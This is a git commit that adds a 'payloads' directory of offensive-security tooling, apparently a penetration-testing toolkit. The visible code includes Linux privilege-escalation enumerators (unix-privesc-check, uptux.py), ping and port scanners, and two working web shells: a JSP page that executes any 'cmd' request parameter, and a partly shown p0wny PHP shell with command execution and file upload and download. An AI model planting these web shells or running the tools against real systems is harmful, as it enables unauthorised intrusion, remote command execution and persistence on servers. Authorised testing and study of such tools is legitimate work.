Repository restructuring

This commit is contained in:
2026-04-30 19:53:18 +02:00
parent 31af1f4423
commit f233fe8264
98 changed files with 4216 additions and 1392 deletions

1352
payloads/linux/LinEnum.sh Executable file
View File

File diff suppressed because it is too large Load Diff

BIN
payloads/linux/cdk64 Normal file
View File

Binary file not shown.

BIN
payloads/linux/chisel Executable file
View File

Binary file not shown.

BIN
payloads/linux/chisel64 Executable file
View File

Binary file not shown.

1468
payloads/linux/deepce.sh Executable file
View File

File diff suppressed because it is too large Load Diff

11287
payloads/linux/linpeas.sh Normal file
View File

File diff suppressed because one or more lines are too long

View File

File diff suppressed because it is too large Load Diff

1577
payloads/linux/lse.sh Executable file
View File

File diff suppressed because it is too large Load Diff

BIN
payloads/linux/ncat Executable file
View File

Binary file not shown.

BIN
payloads/linux/pspy Normal file
View File

Binary file not shown.

BIN
payloads/linux/pspy64 Executable file
View File

Binary file not shown.

BIN
payloads/linux/socat Normal file
View File

Binary file not shown.

BIN
payloads/linux/socat64 Normal file
View File

Binary file not shown.

View File

@@ -0,0 +1,137 @@
#!/bin/sh
# $Revision$
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
#
# (c) Tim Brown, 2012
# <mailto:timb@nth-dimension.org.uk>
# <http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>
. lib/misc/stdio
header () {
VERSION="2.1"
SVNVERSION="$Revision$" # Don't change this line. Auto-updated.
SVNVNUM="`echo $SVNVERSION | sed \"s/[^0-9]//g\"`"
if [ -n "${SVNVNUM}" ]; then
VERSION="${VERSION}-svn-${SVNVNUM}"
fi
printf "unix-privesc-check v${VERSION} ( http://code.google.com/p/unix-privesc-check )\n\n"
}
version () {
header
preamble
printf "Brought to you by:\n"
cat doc/AUTHORS
exit 1
}
preamble () {
printf "Shell script to check for simple privilege escalation vectors on UNIX systems.\n\n"
}
usage () {
header
preamble
printf "Usage: ${0}\n"
printf "\n"
printf "\t--help\tdisplay this help and exit\n"
printf "\t--version\tdisplay version and exit\n"
printf "\t--color\tenable output coloring\n"
printf "\t--verbose\tverbose level (0-2, default: 1)\n"
printf "\t--type\tselect from one of the following check types:\n"
for checktype in lib/checks/enabled/*
do
printf "\t\t`basename ${checktype}`\n"
done
printf "\t--checks\tprovide a comma separated list of checks to run, select from the following checks:\n"
for check in lib/checks/*
do
if [ "`basename \"${check}\"`" != "enabled" ]
then
printf "\t\t`basename ${check}`\n"
fi
done
exit 1
}
# TODO make it use lib/misc/validate
CHECKS=""
TYPE="all"
COLORING="0"
VERBOSE="1"
while [ -n "${1}" ]
do
case "${1}" in
--help|-h)
usage
;;
--version|-v|-V)
version
;;
--color)
COLORING="1"
;;
--verbose)
shift
VERBOSE="${1}"
;;
--type|-t)
shift
TYPE="${1}"
;;
--checks|-c)
shift
CHECKS="${1}"
;;
esac
shift
done
header
if [ "${VERBOSE}" != "0" -a "${VERBOSE}" != "1" -a "${VERBOSE}" != "2" ]
then
stdio_message_error "upc" "the provided verbose level ${VERBOSE} is invalid - use 0, 1 or 2 next time"
VERBOSE="1"
fi
if [ -n "${CHECKS}" ]
then
for checkfilename in `printf "${CHECKS}" | tr -d " " | tr "," " "`
do
if [ ! -e "lib/checks/${checkfilename}" ]
then
stdio_message_error "upc" "the provided check name '${checkfilename}' does not exist"
else
. "lib/checks/${checkfilename}"
`basename "${checkfilename}"`_init
`basename "${checkfilename}"`_main
`basename "${checkfilename}"`_fini
fi
done
else
if [ ! -d "lib/checks/enabled/${TYPE}" ]
then
stdio_message_error "upc" "the provided check type '${TYPE}' does not exist"
else
for checkfilename in lib/checks/enabled/${TYPE}/*
do
. "${checkfilename}"
`basename "${checkfilename}"`_init
`basename "${checkfilename}"`_main
`basename "${checkfilename}"`_fini
done
fi
fi
exit 0

804
payloads/linux/uptux.py Executable file
View File

@@ -0,0 +1,804 @@
#!/usr/bin/env python
"""
uptux by initstring (gitlab.com/initstring)
This tool checks for configuration issues on Linux systems that may lead to
privilege escalation.
All functionality is contained in a single file, because installing packages
in restricted shells is a pain.
"""
import os
import sys
import socket
import getpass
import argparse
import datetime
import subprocess
import inspect
import glob
import re
BANNER = r'''
____ ___ ___________
| | \_____\__ ___/_ _____ ___
| | /\____ \| | | | \ \/ /
| | / | |_> > | | | /> <
|______/ | __/|____| |____//__/\_ \
|__| \/
PrivEsc for modern Linux systems
github.com/initstring/uptux
'''
########################## Global Declarations Follow #########################
LOGFILE = 'log-uptux-{:%Y-%m-%d-%H.%M.%S}'.format(datetime.datetime.now())
PARSER = argparse.ArgumentParser(description=
"PrivEsc for modern Linux systems,"
" by initstring (gitlab.com/initstring)")
PARSER.add_argument('-n', '--nologging', action='store_true',
help='do not write output to a logfile')
PARSER.add_argument('-d', '--debug', action='store_true',
help='print some debugging info to the console')
ARGS = PARSER.parse_args()
## Known directories for storing systemd files.
SYSTEMD_DIRS = ['/etc/systemd/**/',
'/lib/systemd/**/',
'/run/systemd/**/',
'/usr/lib/systemd/**/']
## Known directories for storing D-Bus configuration files
DBUS_DIRS = ['/etc/dbus-1/system.d/',
'/etc/dbus-1/session.d']
# Target files that we know we cannot exploit
NOT_VULN = ['/dev/null',
'.']
# Used to enable/disable the relative path checks of systemd
SYSTEMD_PATH_WRITABLE = False
########################## End of Global Declarations #########################
############################ Setup Functions Follow ###########################
# This is the place for functions that help set up the application.
def tee(text, **kwargs):
"""Used to log and print concurrently"""
# Defining variables to print color-coded messages to the console.
colors = {'green': '\033[92m',
'blue': '\033[94m',
'orange': '\033[93m',
'red': '\033[91m',}
end_color = '\033[0m'
boxes = {'ok': colors['blue'] + '[*] ' + end_color,
'note': colors['green'] + '[+] ' + end_color,
'warn': colors['orange'] + '[!] ' + end_color,
'vuln': colors['red'] + '[VULNERABLE] ' + end_color,
'sus': colors['orange'] + '[INVESTIGATE] ' + end_color}
# If this function is called with an optional 'box=xxx' parameter, these
# will be prepended to the message.
box = kwargs.get('box', '')
if box:
box = boxes[box]
# First, just print the item to the console.
print(box + text)
# Then, write it to the log if logging is not disabled
if not ARGS.nologging:
try:
with open(LOGFILE, 'a') as logfile:
logfile.write(box + text + '\n')
except PermissionError:
ARGS.nologging = True
print(boxes['warn'] + "Could not create a log file due to"
" insufficient permissions. Continuing with checks...")
def check_handler(check, check_name, check_desc):
"""Check handler
This function takes a dictionary of check_desc,check_name and will
iterate through them all.
"""
tee("\n\n++++++++++ {}: {} ++++++++++\n\n"
.format(check_name, check_desc))
tee("Starting module at {:%Y-%m-%d-%H.%M.%S}"
.format(datetime.datetime.now()), box='ok')
tee("\n")
check()
tee("\n")
tee("Finished module at {:%Y-%m-%d-%H.%M.%S}\n"
.format(datetime.datetime.now()), box='ok')
def get_function_order(function):
"""Helper function for build_checks_list"""
# Grabs the line number of a function it is passed.
order = function.__code__.co_firstlineno
return order
def build_checks_list():
"""Dynamically build list of checks to execute
This function will grab, in order, all functions that start with
'uptux_check_' and populate a list. This is then used to run the checks.
"""
# Start to build a list of functions we will execute.
uptux_checks = []
# Get the name of this python script and all the functions inside it.
current_module = sys.modules[__name__]
all_functions = inspect.getmembers(current_module, inspect.isfunction)
# If the function name matches 'uptux_check_' we will include it.
for function in all_functions:
function_name = function[0]
function_object = function[1]
if 'uptux_check_' in function_name:
uptux_checks.append(function_object)
# Use the helper function to sort by line number in script.
uptux_checks.sort(key=get_function_order)
# Return the sorted list of functions.
return uptux_checks
############################# End Setup Functions #############################
########################### Helper Functions Follow ###########################
# This is the place to put functions that are used by multiple "Individual
# Checks" (those starting with uptux_check_).
def shell_exec(command):
"""Executes Linux shell commands"""
# Split the command into a list as needed by subprocess
command = command.split()
# Get both stdout and stderror from command. Grab the Python exception
# if there is one.
try:
out_bytes = subprocess.check_output(command,
stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as error:
out_bytes = error.output
except OSError as error:
print('Could not run the following OS command. Sorry!\n'
' Command: {}'.format(command))
print(error)
sys.exit()
# Return the lot as a text string for processing.
out_text = out_bytes.decode('utf-8')
out_text = out_text.rstrip()
return out_text
def find_system_files(**kwargs):
"""Locates system files
Expected kwargs: known_dirs, search_mask
"""
# Define known Linux folders for storing service unit definitions
return_list = set()
# Recursively gather all service unit from the known directories
# and add them to a deduplicated set.
for directory in kwargs['known_dirs']:
found_files = glob.glob(directory + kwargs['search_mask'])
for item in found_files:
# We don't care about files that point to /dev/null.
if '/dev/null' not in os.path.realpath(item):
return_list.add(item)
if ARGS.debug:
print("DEBUG, FOUND FILES")
for item in return_list:
print(item)
return return_list
def regex_vuln_search(**kwargs):
"""Helper function for searching text files
This function will take a list of file paths and search through
them with a given regex. Relevant messages will be printed to the console
and log.
Expected kwargs: file_paths, regex, message_text, message_box
"""
# Start a list of dictionaries for files with interesting content.
return_list = []
# Open up each individual file and read the text into memory.
for file_name in kwargs['file_paths']:
return_dict = {}
# Continue if we can't access the file.
if not os.access(file_name, os.R_OK):
continue
file_object = open(file_name, 'r')
file_text = file_object.read()
# Use the regex we pass in to the function to look for vulns.
found = re.findall(kwargs['regex'], file_text)
# Save the file name and the interesting lines of text
if found:
return_dict['file_name'] = file_name
return_dict['text'] = found
return_list.append(return_dict)
# If the function is supplied with message info, print to console and log.
# This function may be used instead as input to another function, so we
# don't always want to print here.
if return_list and kwargs['message_text'] and kwargs['message_box']:
# Print to console and log the interesting file names and content.
tee("")
tee(kwargs['message_text'], box=kwargs['message_box'])
for item in return_list:
tee(" {}:".format(item['file_name']))
for text in item['text']:
tee(" {}".format(text))
tee("")
if ARGS.debug:
print("DEBUG, SEARCH RESULTS")
for item in return_list:
print(item['file_name'])
for text in item['text']:
print(" {}".format(text))
return return_list
def check_file_permissions(**kwargs):
"""Helper function to check permissions and symlink status
This function will take a list of file paths, resolve them to their
actual location (for symlinks), and determine if they are writeable
by the current user. Will also alert on broken symlinks and whether
the target directory for the broken link is writeable.
Expected kwargs: file_paths, files_message_text, dirs_message_text,
message_box
"""
# Start deuplicated sets for interesting files and directories.
writeable_files = set()
writeable_dirs = set()
for file_name in kwargs['file_paths']:
# Ignore known not-vulnerable targets
if file_name in NOT_VULN:
continue
# Is it a symlink? If so, get the real path and check permissions.
# If it is broken, check permissions on the parent directory.
if os.path.islink(file_name):
target = os.readlink(file_name)
# Some symlinks use relative path names. Find these and prepend
# the directory name so we can investigate properly.
if target[0] == '.':
parent_dir = os.path.dirname(file_name)
target = parent_dir + '/' + target
if os.path.exists(target) and os.access(target, os.W_OK):
writeable_files.add('{} -- symlink --> {}'
.format(file_name, target))
else:
parent_dir = os.path.dirname(target)
if os.access(parent_dir, os.W_OK):
writeable_dirs.add((file_name, target))
# OK, not a symlink. Just check permissions.
else:
if os.access(file_name, os.W_OK):
writeable_files.add(file_name)
if writeable_files:
# Print to console and log the interesting findings.
tee("")
tee(kwargs['files_message_text'], box=kwargs['message_box'])
for item in writeable_files:
tee(" {}".format(item))
if writeable_dirs:
# Print to console and log the interesting findings.
tee("")
tee(kwargs['dirs_message_text'], box=kwargs['message_box'])
for item in writeable_dirs:
tee(" {} --> {}".format(item[0], item[1]))
if not writeable_files and not writeable_dirs:
tee("")
tee("No writeable targets. This is expected...",
box='note')
def check_command_permission(**kwargs):
"""Checks permissions on commands returned from inside files
Loops through a provided list of dictionaries with a file name and
commands found within. Checks to see if they are writeable or missing and
living in a writable directory.
Expected kwargs: file_paths, regex, message_text, message_box
"""
# Start an empty list for the return of the writable files/commands
return_list = []
for item in kwargs['commands']:
return_dict = {}
return_dict['text'] = []
# The commands we have are long and may include parameters or even
# multiple commands with pipes and ;. We try to split this all out
# below.
for command in item['text']:
command = re.sub(r'[\'"]', '', command)
command = re.split(r'[ ;\|]', command)
# We now have a list of some commands and some parameters and
# other garbage. Checking for os access will clean this up for us.
# The lines below determine if we have write access to anything.
# It also checks for the case where the target does not exist but
# the parent directory is writeable.
for split_command in command:
vuln = False
# Ignore known not-vulnerable targets
if split_command in NOT_VULN:
continue
# Some systemd items will specicify a command with a path
# relative to the calling item, particularly timer files.
relative_path = os.path.dirname(item['file_name'])
# First, check the obvious - is this a writable command?
if os.access(split_command, os.W_OK):
vuln = True
# What about if we assume it is a relative path?
elif os.access(relative_path + '/' + split_command, os.W_OK):
vuln = True
# Or maybe it doesn't exist at all, but is in a writeable
# director?
elif (os.access(os.path.dirname(split_command), os.W_OK)
and not os.path.exists(split_command)):
vuln = True
# If so, pack it all up in a new dictionary which is used
# below for output.
if vuln:
return_dict['file_name'] = item['file_name']
return_dict['text'].append(split_command)
if return_dict not in return_list:
return_list.append(return_dict)
if return_list and kwargs['message_text'] and kwargs['message_box']:
# Print to console and log the interesting file names and content.
tee("")
tee(kwargs['message_text'], box=kwargs['message_box'])
for item in return_list:
tee(" {}:".format(item['file_name']))
for text in item['text']:
tee(" {}".format(text))
tee("")
########################## Helper Functions Complete ##########################
########################### Individual Checks Follow ##########################
# Note: naming a new function 'uptux_check_xxxx' will automatically
# include it in execution. These will trigger in the same order listed
# in the script. The docstring will be pulled and used in the console and
# log file, so keep it short (one line).
def uptux_check_sysinfo():
"""Gather basic OS information"""
# Gather a few basics for the report.
uname = os.uname()
tee("Host: {}".format(uname[1]))
tee("OS: {}, {}".format(uname[0], uname[3]))
tee("Kernel: {}".format(uname[2]))
tee("Current user: {} (UID {} GID {})".format(getpass.getuser(),
os.getuid(),
os.getgid()))
tee("Member of following groups:\n {}".format(shell_exec('groups')))
def uptux_check_systemd_paths():
"""Check if systemd PATH is writeable"""
# Define the bash command.
command = 'systemctl show-environment'
output = shell_exec(command)
# Define the regex to find in the output.
regex = re.compile(r'PATH=(.*$)')
# Take the output from bash and split it into a list of paths.
output = re.findall(regex, output)
# This command may fail in some environments, only proceed if we have
# a good match.
if output:
output = output[0].split(':')
# Check each path - if it is writable, add it to a list.
writeable_paths = []
for item in output:
if os.access(item, os.W_OK):
writeable_paths.append(item)
else:
writeable_paths = False
# Write the status to the console and log.
if writeable_paths:
tee("The following systemd paths are writeable. THIS IS ODD!\n"
"See if you can combine this with a relative path Exec statement"
" for privesc:",
box='vuln')
for path in writeable_paths:
tee(" {}".format(path))
global SYSTEMD_PATH_WRITABLE
SYSTEMD_PATH_WRITABLE = True
else:
tee("No systemd paths are writeable. This is expected...",
box='note')
def uptux_check_services():
"""Inspect systemd service unit files"""
# Define known Linux folders for storing service unit definitions
units = set()
mask = '*.service'
units = find_system_files(known_dirs=SYSTEMD_DIRS,
search_mask=mask)
tee("Found {} service units to analyse...\n".format(len(units)),
box='ok')
# Test for write access to any service files.
# Will resolve symlinks to their target and also check for broken links.
text = 'Found writeable service unit files:'
text2 = 'Found writeable directories referred to by broken symlinks'
box = 'vuln'
tee("")
tee("Checking permissions on service unit files...",
box='ok')
check_file_permissions(file_paths=units,
files_message_text=text,
dirs_message_text=text2,
message_box=box)
# Only check relative paths if we can abuse them
if SYSTEMD_PATH_WRITABLE:
# Look for relative calls to binaries.
# Example: ExecStart=somfolder/somebinary
regex = re.compile(r'^Exec(?:Start|Stop|Reload)='
r'(?:@[^/]' # special exec
r'|-[^/]' # special exec
r'|\+[^/]' # special exec
r'|![^/]' # special exec
r'|!![^/]' # special exec
r'|)' # or maybe no special exec
r'[^/@\+!-]' # not abs path or special exec
r'.*', # rest of line
re.MULTILINE)
text = ('Possible relative path in an Exec statement.\n'
'Unless you have writeable systemd paths, you won\'t be able to'
' exploit this:')
box = 'sus'
tee("")
tee("Checking for relative paths in service unit files [check 1]...",
box='ok')
regex_vuln_search(file_paths=units,
regex=regex,
message_text=text,
message_box=box)
# Look for relative calls to binaries but invoked by an interpreter.
# Example: ExecStart=/bin/sh -c 'somefolder/somebinary'
regex = re.compile(r'^Exec(?:Start|Stop|Reload)='
r'(?:@[^/]' # special exec
r'|-[^/]' # special exec
r'|\+[^/]' # special exec
r'|![^/]' # special exec
r'|!![^/]' # special exec
r'|)' # or maybe no special exec
r'.*?(?:/bin/sh|/bin/bash) ' # interpreter
r'(?:[\'"]|)' # might have quotes
r'(?:-[a-z]+|)'# might have params
r'(?:[ ]+|)' # might have more spaces now
r'[^/-]' # not abs path or param
r'.*', # rest of line
re.MULTILINE)
text = ('Possible relative path invoked with an interpreter in an'
' Exec statement.\n'
'Unless you have writable systemd paths, you won\'t be able to'
' exploit this:')
box = 'sus'
tee("")
tee("Checking for relative paths in service unit files [check 2]...",
box='ok')
regex_vuln_search(file_paths=units,
regex=regex,
message_text=text,
message_box=box)
# Check for write access to any commands invoked by Exec statements.
# Thhs regex below is used to extract command lines.
regex = re.compile(r'^Exec.*?=[!@+-]*(.*?$)',
re.MULTILINE)
# We don't pass message info to this function as we need to perform more
# processing on the output to determine what is writeable.
tee("")
tee("Checking for write access to commands referenced in service files...",
box='ok')
service_commands = regex_vuln_search(file_paths=units,
regex=regex,
message_text='',
message_box='')
# Another helper function to take the extracted commands and check for
# write permissions.
text = 'You have write access to commands referred to in service files:'
box = 'vuln'
check_command_permission(commands=service_commands,
message_text=text,
message_box=box)
def uptux_check_timer_units():
"""Inspect systemd timer unit files"""
units = set()
mask = '*.timer'
units = find_system_files(known_dirs=SYSTEMD_DIRS,
search_mask=mask)
tee("Found {} timer units to analyse...\n".format(len(units)),
box='ok')
# Test for write access to any timer files.
# Will resolve symlinks to their target and also check for broken links.
text = 'Found writeable timer unit files:'
text2 = 'Found writeable directories referred to by broken symlinks'
box = 'vuln'
tee("")
tee("Checking permissions on timer unit files...",
box='ok')
check_file_permissions(file_paths=units,
files_message_text=text,
dirs_message_text=text2,
message_box=box)
# Timers may reference systemd services, which are already being checked.
# But they may reference a specific script (often a '.target' file of the
# same name. Check to see if the action called is writable.
# The regex below is used to extract these targets.
regex = re.compile(r'^Unit=*(.*?$)',
re.MULTILINE)
# We don't pass message info to this function as we need to perform more
# processing on the output to determine what is writeable.
tee("")
tee("Checking for write access to commands referenced in timer files...",
box='ok')
timer_commands = regex_vuln_search(file_paths=units,
regex=regex,
message_text='',
message_box='')
# Another helper function to take the extracted commands and check for
# write permissions.
text = 'You have write access to commands referred to in timer files:'
box = 'vuln'
check_command_permission(commands=timer_commands,
message_text=text,
message_box=box)
def uptux_check_socket_units():
"""Inspect systemd socket unit files"""
units = set()
mask = '*.socket'
units = find_system_files(known_dirs=SYSTEMD_DIRS,
search_mask=mask)
tee("Found {} socket units to analyse...\n".format(len(units)),
box='ok')
# Test for write access to any socket files.
# Will resolve symlinks to their target and also check for broken links.
text = 'Found writeable socket unit files:'
text2 = 'Found writeable directories referred to by broken symlinks'
box = 'vuln'
tee("")
tee("Checking permissions on socket unit files...",
box='ok')
check_file_permissions(file_paths=units,
files_message_text=text,
dirs_message_text=text2,
message_box=box)
# Check for write access to any socket files created by a service.
# This can be interesting - I've seen a systemd service run a REST
# API on a AF_UNIX socket. This would be missed by normal privesc
# checks.
# Thhs regex below is used to extract command lines.
regex = re.compile(r'^Listen.*?=[!@+-]*(.*?$)',
re.MULTILINE)
# We don't pass message info to this function as we need to perform more
# processing on the output to determine what is writeable.
tee("")
tee("Checking for write access to AF_UNIX sockets...",
box='ok')
socket_files = regex_vuln_search(file_paths=units,
regex=regex,
message_text='',
message_box='')
# Another helper function to take the extracted commands and check for
# write permissions.
text = ('You have write access to AF_UNIX socket files invoked by a'
' systemd service.\n'
'This could be interesting. \n'
'You can attach to these files to look for an exploitable API.')
box = 'sus'
check_command_permission(commands=socket_files,
message_text=text,
message_box=box)
def uptux_check_socket_apis():
"""Look for web servers on UNIX domain sockets"""
# Use Linux ss tool to find sockets in listening state
command = 'ss -xlp -H state listening'
output = shell_exec(command)
# We get Unicode back from the above command, let's fix
output = str(output)
root_sockets = []
socket_replies = {}
# We want to grab all the strings that look like socket paths
sockets = re.findall(r' (/.*?) ', output)
abstract_sockets = re.findall(r' (@.*?) ', output)
for socket_path in sockets:
# For now, we are only interested in sockets owned by root
if os.path.exists(socket_path) and os.stat(socket_path).st_uid == 0:
root_sockets.append(socket_path)
tee("Trying to connect to {} unix sockets owned by uid 0..."
.format(len(root_sockets)), box='ok')
tee("")
# Cycle through each and try to send a raw HTTP GET
for socket_target in root_sockets:
# Define a raw HTTP GET request
http_get = ('GET / HTTP/1.1\r\n'
'Host: localhost\r\n'
'\r\n\r\n')
# Try to interact with the socket like a web API
client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client.settimeout(5)
try:
client.connect(socket_target)
client.sendall(http_get.encode())
reply = client.recv(8192).decode()
# If we get a reply to this, we assume it is an API
if reply:
socket_replies[socket_target] = reply
except (socket.error, UnicodeDecodeError):
continue
# If we have some replies, print to console
# Hack-ish string replacement to get a nice indent
if socket_replies:
tee("The following root-owned sockets replied as follows",
box='sus')
for socket_path in socket_replies:
tee(" " + socket_path + ":")
tee(" " + socket_replies[socket_path]
.replace('\n', '\n '))
tee("")
def uptux_check_dbus_issues():
"""Inspect D-Bus configuration items"""
units = set()
mask = '*.conf'
units = find_system_files(known_dirs=DBUS_DIRS,
search_mask=mask)
tee("Found {} D-Bus conf files to analyse...\n".format(len(units)),
box='ok')
# Test for write access to any files.
# Will resolve symlinks to their target and also check for broken links.
text = 'Found writeable D-Bus conf files:'
text2 = 'Found writeable directories referred to by broken symlinks'
box = 'vuln'
tee("")
tee("Checking permissions on D-Bus conf files...",
box='ok')
check_file_permissions(file_paths=units,
files_message_text=text,
dirs_message_text=text2,
message_box=box)
# Checking for overly permission policies in D-Bus configuration files.
# For example, normally "policy" is defined as a username. When defined in
# an XML tag on its own, it applies to everyone.
tee("")
tee("Checking for overly permissive D-Bus configuration rules...",
box='ok')
regex = re.compile(r'<policy>.*?</policy>',
re.MULTILINE|re.DOTALL)
text = ('These D-Bus policies may be overly permissive as they do not'
' specify a user or group.')
box = 'sus'
regex_vuln_search(file_paths=units,
regex=regex,
message_text=text,
message_box=box)
########################## Individual Checks Complete #########################
def main():
"""Main function"""
print(BANNER)
# Dynamically build list of checks to execute.
uptux_checks = build_checks_list()
# Use the handler to execute each check.
for check in uptux_checks:
check_name = check.__name__
check_desc = check.__doc__
check_handler(check, check_name, check_desc)
# Good luck!
tee("")
tee("All done, good luck!", box='note')
if __name__ == "__main__":
main()

59
payloads/pingscan.py Normal file
View File

@@ -0,0 +1,59 @@
#!/usr/bin/python
import sys
import ipaddress
import subprocess
try:
import threading
import queue
NUM_THREADS = 10
THREADING_ENABLED = True
QUEUE = queue.Queue()
except:
THREADING_ENABLED = False
def checkHost(host):
proc = subprocess.Popen(["ping", str(host), "-c", "1"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
return proc.wait() == 0
def doWork(q):
while not q.empty():
host = q.get()
if checkHost(host):
print("[+] Host %s is online" % host)
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: %s <hosts>" % sys.argv[0])
exit(1)
hosts = sys.argv[1]
if "/" not in hosts:
if checkHost(hosts):
print("[+] Host %s is online" % hosts)
else:
print("[-] Host %s is not reachable" % hosts)
else:
cidr = ipaddress.ip_network(hosts)
hosts = list(cidr.hosts())
if not THREADING_ENABLED:
print("Scanning %d hosts in range: %s..." % (len(hosts), cidr))
for host in hosts:
if checkHost(host):
print("[+] Host %s is online" % host)
print("Done")
else:
print("Scanning %d hosts in range: %s with %d threads..." % (len(hosts), cidr, NUM_THREADS))
for host in hosts:
QUEUE.put(host)
threads = []
for i in range(NUM_THREADS):
t = threading.Thread(target=doWork, args=(QUEUE, ))
t.start()
threads.append(t)
for t in threads:
t.join()
print("Done")

97
payloads/portscan.py Normal file
View File

@@ -0,0 +1,97 @@
#!/usr/bin/python
import socket
import sys
import re
try:
import threading
import queue
NUM_THREADS = 10
THREADING_ENABLED = True
QUEUE = queue.Queue()
except:
THREADING_ENABLED = False
if len(sys.argv) < 2:
print("Usage: %s <host> [ports] [num_threads]" % sys.argv[0])
exit(1)
host = sys.argv[1]
ports = range(1,1001)
if len(sys.argv) >= 3:
ports_param = sys.argv[2]
pattern = re.compile("^(\\d+)(-(\\d+)?)?$")
m = pattern.match(ports_param)
if m is None:
print("Invalid port range")
exit(1)
start_port = int(m.group(1))
end_port = start_port
if m.group(2) is not None:
if m.group(3) is None:
end_port = 65535
else:
end_port = int(m.group(3))
if start_port < 1 or start_port > 65535:
print("Invalid start port")
exit(1)
elif end_port < 1 or end_port > 65535:
print("Invalid end port")
exit(1)
elif start_port > end_port:
print("Invalid port range")
exit(1)
ports = range(start_port, end_port+1)
if len(sys.argv) >= 4:
if not THREADING_ENABLED:
print("Threading is not supported by this system, you need the libraries: threading, queue")
exit(1)
else:
NUM_THREADS = int(sys.argv[3])
if NUM_THREADS < 1:
print("Invalid thread count:", NUM_THREADS)
exit(1)
def tryConnect(host, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3.0)
sock.connect((host,port))
sock.close()
return True
except Exception as e:
return False
def doWork(q, host):
while not q.empty():
p = q.get()
if tryConnect(host, p):
print("[+] Port %d is open" % p)
if not THREADING_ENABLED:
print("Scanning ports: %d-%d..." % (ports[0], ports[len(ports)-1]))
open_ports = []
for p in ports:
if tryConnect(host, p):
print("[+] Port %d is open" % p)
print("Done")
else:
print("Scanning ports: %d-%d with %d threads..." % (ports[0], ports[len(ports)-1], NUM_THREADS))
for i in ports:
QUEUE.put(i)
threads = []
for i in range(NUM_THREADS):
t = threading.Thread(target=doWork, args=(QUEUE, host))
t.start()
threads.append(t)
for t in threads:
t.join()
print("Done")

View File

@@ -0,0 +1,27 @@
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>

View File

@@ -0,0 +1,605 @@
<?php
$SHELL_CONFIG = array(
'username' => 'p0wny',
'hostname' => 'shell',
);
function expandPath($path) {
if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
exec("echo $match[1]", $stdout);
return $stdout[0] . $match[2];
}
return $path;
}
function allFunctionExist($list = array()) {
foreach ($list as $entry) {
if (!function_exists($entry)) {
return false;
}
}
return true;
}
function executeCommand($cmd) {
$output = '';
if (function_exists('exec')) {
exec($cmd, $output);
$output = implode("\n", $output);
} else if (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
ob_start();
system($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
ob_start();
passthru($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
$handle = popen($cmd, 'r');
while (!feof($handle)) {
$output .= fread($handle, 4096);
}
pclose($handle);
} else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
$handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes);
$output = stream_get_contents($pipes[1]);
proc_close($handle);
}
return $output;
}
function isRunningWindows() {
return stripos(PHP_OS, "WIN") === 0;
}
function featureShell($cmd, $cwd) {
$stdout = "";
if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
chdir(expandPath("~"));
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir(expandPath($match[1]));
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
return featureDownload($match[1]);
} else {
chdir($cwd);
$stdout = executeCommand($cmd);
}
return array(
"stdout" => base64_encode($stdout),
"cwd" => base64_encode(getcwd())
);
}
function featurePwd() {
return array("cwd" => base64_encode(getcwd()));
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == 'cmd') {
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
foreach ($files as &$filename) {
$filename = base64_encode($filename);
}
return array(
'files' => $files,
);
}
function featureDownload($filePath) {
$file = @file_get_contents($filePath);
if ($file === FALSE) {
return array(
'stdout' => base64_encode('File not found / no read permission.'),
'cwd' => base64_encode(getcwd())
);
} else {
return array(
'name' => base64_encode(basename($filePath)),
'file' => base64_encode($file)
);
}
}
function featureUpload($path, $file, $cwd) {
chdir($cwd);
$f = @fopen($path, 'wb');
if ($f === FALSE) {
return array(
'stdout' => base64_encode('Invalid path / no write permission.'),
'cwd' => base64_encode(getcwd())
);
} else {
fwrite($f, base64_decode($file));
fclose($f);
return array(
'stdout' => base64_encode('Done.'),
'cwd' => base64_encode(getcwd())
);
}
}
function initShellConfig() {
global $SHELL_CONFIG;
if (isRunningWindows()) {
